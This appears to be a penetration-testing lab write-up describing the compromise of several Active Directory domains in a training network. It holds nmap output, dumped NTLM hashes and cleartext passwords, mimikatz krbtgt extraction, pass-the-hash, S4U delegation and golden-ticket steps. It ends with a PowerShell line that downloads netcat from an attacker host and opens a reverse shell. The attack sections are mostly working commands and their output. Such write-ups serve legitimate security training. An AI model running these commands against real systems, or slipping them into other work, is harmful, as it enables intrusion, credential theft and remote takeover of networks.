Challenge 5
Challenge 5
Challenge 5
160
172.16.X.165
172.16.X.166
172.16.X.167
172.16.X.168
192.168.X.164
192.168.X.169
192.168.X.164
22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 68:7a:c0:de:12:a9:07:98:1a:52:f8:45:ea:24:68:79 (RSA)
| 256 5c:b3:b9:48:73:e9:e4:01:6b:b7:9f:ee:0d:0c:ba:eb (ECDSA)
|_ 256 ee:97:de:dd:52:f5:e1:bf:28:b4:4a:6b:93:42:ce:ee (ED25519)
80/tcp open ssl/http?
| http-cookie-flags:
| /:
| ONA_SESSION_ID:
|_ httponly flag not set
|_http-title: OpenNetAdmin :: 0wn Your Network
192.168.X.169
80/tcp open http Microsoft IIS httpd 10.0
| http-methods:
|_ Potentially risky methods: TRACE
|_http-server-header: Microsoft-IIS/10.0
|_http-title: IIS Windows Server
49670/tcp open msrpc Microsoft Windows RPC
:: URL : http://192.168.X.164/FUZZ
:: Wordlist : FUZZ: /usr/share/dirb/wordlists/big.txt
:: Follow redirects : false
:: Calibration : false
:: Timeout : 10
:: Threads : 40
:: Matcher : Response status: all
:: Filter : Response status: 404
________________________________________________
https://github.com/amriunix/ona-rce
cat proof.txt
84d6b516a612290c442acc8aa20032d0
cat /etc/krb5.conf
[logging]
default = FILE:/var/log/krb5libs.log
kdc = FILE:/var/log/krb5kdc.log
admin_server = FILE:/var/log/kadmind.log
[libdefaults]
default_realm = COMPLYEDGE.COM
dns_lookup_realm = false
dns_lookup_kdc = false
ticket_lifetime = 24h
renew_lifetime = 7d
forwardable = true
rdns = false
[realms]
COMPLYEDGE.com = {
kdc = dmzdc01.complyedge.com
default_domain = complyedge.com
}
[domain_realm]
.complyedge.com = COMPLYEDGE.COM
complyedge.com = COMPLYEDGE.COM
[appdefaults]
pam = {
minimum_uid = 3000
}
172.16.X.160
53/tcp open domain?
| fingerprint-strings:
| DNSVersionBindReqTCP:
| version
|_ bind
88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2021-02-14 21:19:03Z)
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: comply.com0.,
Site: Default-First-Site-Name)
445/tcp open microsoft-ds?
464/tcp open kpasswd5?
593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
636/tcp open tcpwrapped
3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: comply.com0.,
Site: Default-First-Site-Name)
3269/tcp open tcpwrapped
3389/tcp open ms-wbt-server Microsoft Terminal Services
| ssl-cert: Subject: commonName=rdc02.comply.com
| Issuer: commonName=rdc02.comply.com
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2021-02-13T18:13:22
| Not valid after: 2021-08-15T18:13:22
| MD5: 786b 8626 7970 71f9 09c9 963d a161 e4e8
|_SHA-1: 4200 a1a7 897a d24d 8969 b792 c4d2 b635 8f4a b56a
|_ssl-date: 2021-02-14T21:21:28+00:00; -20s from scanner time.
5985/tcp open ssl/http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
9389/tcp open mc-nmf .NET Message Framing
49667/tcp open msrpc Microsoft Windows RPC
49672/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
49673/tcp open msrpc Microsoft Windows RPC
49677/tcp open msrpc Microsoft Windows RPC
49702/tcp open msrpc Microsoft Windows RPC
49711/tcp open msrpc Microsoft Windows RPC
1 service unrecognized despite returning data. If you know the service/version, please submit
the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port53-TCP:V=7.70SVN%I=7%D=2/14%Time=602993E0%P=x86_64-unknown-linux-gn
SF:u%r(DNSVersionBindReqTCP,20,"\0\x1e\0\x06\x81\x04\0\x01\0\0\0\0\0\0\x07
SF:version\x04bind\0\0\x10\0\x03");
MAC Address: 00:50:56:86:4C:48 (VMware)
Service Info: Host: RDC02; OS: Windows; CPE: cpe:/o:microsoft:windows
172.16.X.165
53/tcp open domain?
| fingerprint-strings:
| DNSVersionBindReqTCP:
| version
|_ bind
88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2021-02-14 09:40:44Z)
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: comply.com0.,
Site: Default-First-Site-Name)
445/tcp open microsoft-ds?
464/tcp open kpasswd5?
593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
636/tcp open tcpwrapped
3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: comply.com0.,
Site: Default-First-Site-Name)
3269/tcp open tcpwrapped
3389/tcp open ms-wbt-server Microsoft Terminal Services
| ssl-cert: Subject: commonName=cdc07.ops.comply.com
| Issuer: commonName=cdc07.ops.comply.com
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2021-02-13T07:45:15
| Not valid after: 2021-08-15T07:45:15
| MD5: b41f 2be4 8c12 2e51 8e90 33d3 51b7 94f2
|_SHA-1: 78ca 25d9 ef72 4375 4a67 cbf4 aefc 4514 8625 762e
|_ssl-date: 2021-02-14T09:43:10+00:00; -45s from scanner time.
5985/tcp open ssl/http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
9389/tcp open mc-nmf .NET Message Framing
49667/tcp open msrpc Microsoft Windows RPC
49672/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
49673/tcp open msrpc Microsoft Windows RPC
49677/tcp open msrpc Microsoft Windows RPC
49691/tcp open msrpc Microsoft Windows RPC
49710/tcp open msrpc Microsoft Windows RPC
172.16.X.166
135/tcp open msrpc Microsoft Windows RPC
445/tcp open microsoft-ds?
3389/tcp open ms-wbt-server Microsoft Terminal Services
| ssl-cert: Subject: commonName=file06.ops.comply.com
| Issuer: commonName=file06.ops.comply.com
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2021-02-13T07:45:30
| Not valid after: 2021-08-15T07:45:30
| MD5: d8a2 1ef8 a7f7 7efa 4991 2288 f0af d9eb
|_SHA-1: 968c 0637 3576 da0f 348c d860 1e1b c233 fd64 b071
|_ssl-date: 2021-02-14T09:46:59+00:00; -45s from scanner time.
5985/tcp open ssl/http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
49669/tcp open msrpc Microsoft Windows RPC
172.16.X.167
445/tcp open microsoft-ds?
3389/tcp open ms-wbt-server Microsoft Terminal Services
| ssl-cert: Subject: commonName=jump09.ops.comply.com
| Issuer: commonName=jump09.ops.comply.com
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2021-02-13T07:45:08
| Not valid after: 2021-08-15T07:45:08
| MD5: 0976 bbb3 7530 659e 483d 27a4 635c f242
|_SHA-1: b743 fec0 34bd 9c81 2cf5 edf5 a480 4e77 5087 687a
|_ssl-date: 2021-02-14T09:50:38+00:00; -46s from scanner time.
5985/tcp open ssl/http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
49669/tcp open msrpc Microsoft Windows RPC
172.16.X.168
22/tcp open ssh OpenSSH for_Windows_7.7 (protocol 2.0)
| ssh-hostkey:
| 2048 f1:47:c2:64:26:ea:ff:82:f4:62:6e:3f:cd:e3:bd:c2 (RSA)
| 256 49:85:cd:1b:86:3e:01:71:8e:2a:82:98:a4:0b:34:ef (ECDSA)
|_ 256 f2:34:49:6a:fa:88:74:7b:9d:8d:83:67:c9:16:20:22 (ED25519)
53/tcp open domain?
| fingerprint-strings:
| DNSVersionBindReqTCP:
| version
|_ bind
88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2021-02-14 09:54:35Z)
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain:
complyedge.com0., Site: Default-First-Site-Name)
445/tcp open microsoft-ds?
464/tcp open kpasswd5?
593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
636/tcp open tcpwrapped
3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain:
complyedge.com0., Site: Default-First-Site-Name)
3269/tcp open tcpwrapped
3389/tcp open ms-wbt-server Microsoft Terminal Services
| ssl-cert: Subject: commonName=dmzdc01.complyedge.com
| Issuer: commonName=dmzdc01.complyedge.com
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2021-02-13T07:44:07
| Not valid after: 2021-08-15T07:44:07
| MD5: 0225 afa3 a262 b4e8 4a67 088d 5d5b 45e2
|_SHA-1: 9cd6 4a81 ba39 b675 7855 dd17 2ff6 e8c8 af87 d274
|_ssl-date: 2021-02-14T09:57:01+00:00; +4s from scanner time.
5985/tcp open ssl/http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
9389/tcp open mc-nmf .NET Message Framing
49667/tcp open msrpc Microsoft Windows RPC
49670/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
49671/tcp open msrpc Microsoft Windows RPC
49674/tcp open msrpc Microsoft Windows RPC
49692/tcp open msrpc Microsoft Windows RPC
49710/tcp open msrpc Microsoft Windows RPC
172.16.X.160 rdc02.comply.com
172.16.X.165 cdc07.ops.comply.com
172.16.X.166 file06.ops.comply.com
172.16.X.167 jump09.ops.comply.com
172.16.X.168 dmzdc01.complyedge.com
172.16.X.164 web05.complyedge.com
172.16.X.254 proxy01.ops.complyedge.com
export KRB5CCNAME=/root/Ogimmeshellec/Lab/krb5cc_75401103_TVXERC
So Pete is domain admin. Let’s try to connect to dmzdc01.complyedge.com then since we got
tgt for him.
In /var/log/auth.log, I find:
So it seems that pete is logging in from the DC every hour, so a cronjob running that.
C:\Windows\system32>
more c:\users\administrator\desktop\proof.txt
48032d41ce0f31dd5a2b96031dad9936
Then we run Seatbelt, mimikatz and bloodhound from the DC
* Username : pete
* Domain : COMPLYEDGE
* NTLM : 61c6e14f88cd70638f901ea51796a194
* Username : Administrator
* Domain : complyedge.com
* Password : fgds90345SDfsw32
Secret : DefaultPassword
cur/text: sdfsdSE423 (which is password for pete user)
Get-DomainTrust
SourceName : complyedge.com
TargetName : comply.com
TrustType : WINDOWS_ACTIVE_DIRECTORY
TrustAttributes : FOREST_TRANSITIVE
TrustDirection : Bidirectional
WhenCreated : 7/15/2020 8:57:12 PM
WhenChanged : 2/15/2021 9:15:45 AM
Forest – a transitive trust between one forest root domain and another forest root domain.
Forest trusts also enforce SID filtering.
So here sid filtering is turned off so we can’t use the golden ticket attack with /sids:
Then I run:
.\SharpHound.exe --CollectionMethod All --Domain ops.comply.com
.\SharpHound.exe --CollectionMethod All --Domain complyedge.com
.\SharpHound.exe --CollectionMethod All --Domain comply.com
So let’s use pass the hash using the hash from above:
evil-winrm -u complyedge.com\\jim -H e48c13cefd8f9456d79cd49651c134e8 -i 172.16.X.166
*Evil-WinRM* PS C:\Users> whoami
complyedge\jim
*Evil-WinRM* PS C:\Users> hostname
file06
dir \\jump09.ops.comply.com\C$
Directory: \\jump09.ops.comply.com\C$
more \\jump09.ops.comply.com\C$\Users\Administrator\Desktop\proof.txt
e4c0df2f40567c401754f890cc6bae50
So instead, let’s try to use s4u attack using getST.py from impacket:
export KRB5CCNAME=/root/Ogimmeshellec/Lab/administrator.ccache
python3 /opt/Windows/Impacket/examples/psexec.py -k -no-pass
administrator@jump09.ops.comply.com
So here I use the machine account rulon I created, since this one is allowed to delegate to
jump09.
Let’s dump mimikatz creds since I saw from bloodhound earlier that pete user in
ops.comply.com domain had a session on this jump09 machine.
* Username : pete
* Domain : OPS.COMPLY.COM
* Password : 0998ASDaas2
Secret : $MACHINE.ACC
NTLM:0989fbbecafeafbcf0aa84df2208793e
To run SharpHound from this cdc07.ops.comply.com, we login with psexec so we are in domain
context:
python3 /opt/Windows/Impacket/examples/psexec.py
ops.comply.com/pete@cdc07.ops.comply.com
Then let’s check what kind of trust it is between ops.comply.com and comply.com:
Get-DomainTrust
SourceName : ops.comply.com
TargetName : comply.com
TrustType : WINDOWS_ACTIVE_DIRECTORY
TrustAttributes : WITHIN_FOREST
TrustDirection : Bidirectional
WhenCreated : 7/15/2020 8:42:49 PM
WhenChanged : 2/16/2021 11:40:37 AM
Then we need to get the ntlm hash of krbtgt user in ops.comply.com domain so we do:
.\mimikatz.exe "lsadump::lsa /inject /name:krbtgt" "exit"
* Primary
NTLM : 7c7865e6e30e54e8845aad091b0ff447
* PAC generated
* PAC signed
* EncTicketPart generated
* EncTicketPart encrypted
* KrbCred generated
Golden ticket for 'Administrator @ ops.comply.com' successfully submitted for current session
Directory: \\rdc02.comply.com\c$
SystemDirectory : C:\Windows\system32
Organization :
BuildNumber : 17763
RegisteredUser : Windows User
SerialNumber : 00429-70000-00000-AA601
Version : 10.0.17763
invoke-command -computername rdc02.comply.com -scriptblock {iwr -uri
http://192.168.X.Y/nc64.exe -o c:\windows\tasks\nc64.exe; c:\windows\tasks\nc64.exe
192.168.X.Y 443 -e cmd.exe}
whoami
ops\administrator
hostname
hostname
rdc02
more proof.txt
b03dc83d19a4535dd27dec84910d8b3f
Challenge 5 done!